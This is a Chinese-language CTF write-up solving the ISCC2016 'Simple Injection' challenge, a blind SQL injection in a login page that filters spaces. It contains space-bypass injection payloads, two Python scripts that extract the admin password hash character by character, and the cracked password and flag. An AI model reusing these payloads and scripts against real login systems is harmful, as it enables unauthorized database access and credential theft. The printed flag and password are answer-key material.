Simple Injection
- 167 SOLVERS
- 350 WEB
很简单的注入,大家试试?
题目入口:http://web.jarvisoj.com:32787/
题目来源:ISCC2016
访问页面之后,得到就是一个登陆页面。通过burp进行抓包,发现在响应头或者是页面中含有提示信息,那么就说明这的确是一个普通的登陆型的SQL注入漏洞了。
常见的登陆漏洞类型
同时验证用户名和密码
$sql = select * from users where username=$username and password=$password
$result = mysql_query($sql);
if($result) {
echo "登陆成功";
} else {
echo "登陆失败";
}
分步验证用户名、密码
$sql = "select password from users where username='$username'"
$result = mysql_query($sql);
if($result) {
$row = mysql_fetch_row($result);
$query_password = $row[$password];
#对输入的$password进行变形
$input_password = modify($passowrd);
if($input_password == $query_password) {
echo "登陆成功";
} else {
echo "密码错误";
}
} else {
echo "用户不存在";
}
本题
尝试使用username=admin&password=123456,页面返回密码错误
尝试使用username=user&password=123456,页面返回用户名错误
那么就说明验证方式是采用的用户名和密码分步验证的。
想法验证
使用username=admin’#&password=123456,页面返回密码错误,说明后台没有对#和’进行过滤。
使用username=admin’ or 1=1#&password=123456,页面返回用户名错误,上面后台对admin’ or 1=1#中的部分内容进行了过滤。过滤的内容有可能是or也有可能是空格。
使用username=user’//or//1=1#&password=123456,页面返回密码错误,说明输入的SQL语句能够被执行,这也表明后台仅仅是过滤了空格。
总结,username存在sql注入,同时仅仅只是过滤了空格,那么就是一个盲注了
PoC
整个PoC就是一个基于错误的盲注的步骤了,具体的方法可以参考文章。
查找表,username=user’//or//exists(select////from/*/admin)#&password=123456,页面返回密码错误,那么就说明在数据库中存在admin表
查找字段username=user’//or//exists(select//username,password//from/**/admin)#&password=123456,页面返回密码错误,说明在admin表中存在username和password字段。
username=user’//or//exists(select//count()//from/*/admin)#&password=123456,页面返回密码错误,说明在admin表中仅仅只存在一条记录,接下来就好办了
得到password长度,username=user’//or//(select//length(password)//from/**/admin)>10#&password=123456,通过二分试探法,最终发现password的字段长度是32位,说明可能采用的是md5的方式来进行加密的。
在确定了password的长度之后,接下来就是利用Python来进行爆破了。
网上找的参考代码
一、
import requests
def get_data():
result = ""
url = 'http://web.jarvisoj.com:32787/login.php'
payload = {
"username":'xx',
"password":1,
}
username_template = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
chars = '0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
for char in chars:
char_ascii = ord(char)
username = username_template.format(i,char_ascii)
payload['username'] = username
response = requests.post(url,data=payload)
length = len(response.text)
# print(length)
#返回的长度只有1191和1192
if length>1191:
print(char)
result += char
break
print(result)
get_data()
二、
#encoding: utf-8
#created by noble @ 2017.1.21
import requests
url = "http://web.jarvisoj.com:32787/login.php"
table_name_temp = "admin'/**/and/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1))>{1}#"
column_name_temp = "admin'/**/and/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x61646D696E/**/limit/**/2,1),{0},1))>{1}#"
password_temp = "admin'/**/and/**/ascii(substr((select/**/password/**/from/**/admin/**/limit/**/0,1),{0},1))>{1}#"
result = ""
session = requests.Session()
char = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in range(1, 50): #设置字符长度为50
for c in char:
asc = ord(c) #获取字符的ascii值
username = password_temp.format(i, asc)
data = {'username': username,
'password': 'admin'
}
req = session.post(url=url, data=data, timeout=10)
status = req.status_code
length = req.headers['content-length']
if status == 200:
#print length
#print req.text
if length == "1205":
result += c
print c
break
print result
最后得到password的值为334cfb59c9d74849801d5acdcfdaadc3。
解md5后得:eTAloCrEP
登陆后得到flag:flag:CTF{s1mpl3_1nJ3ction_very_easy!!}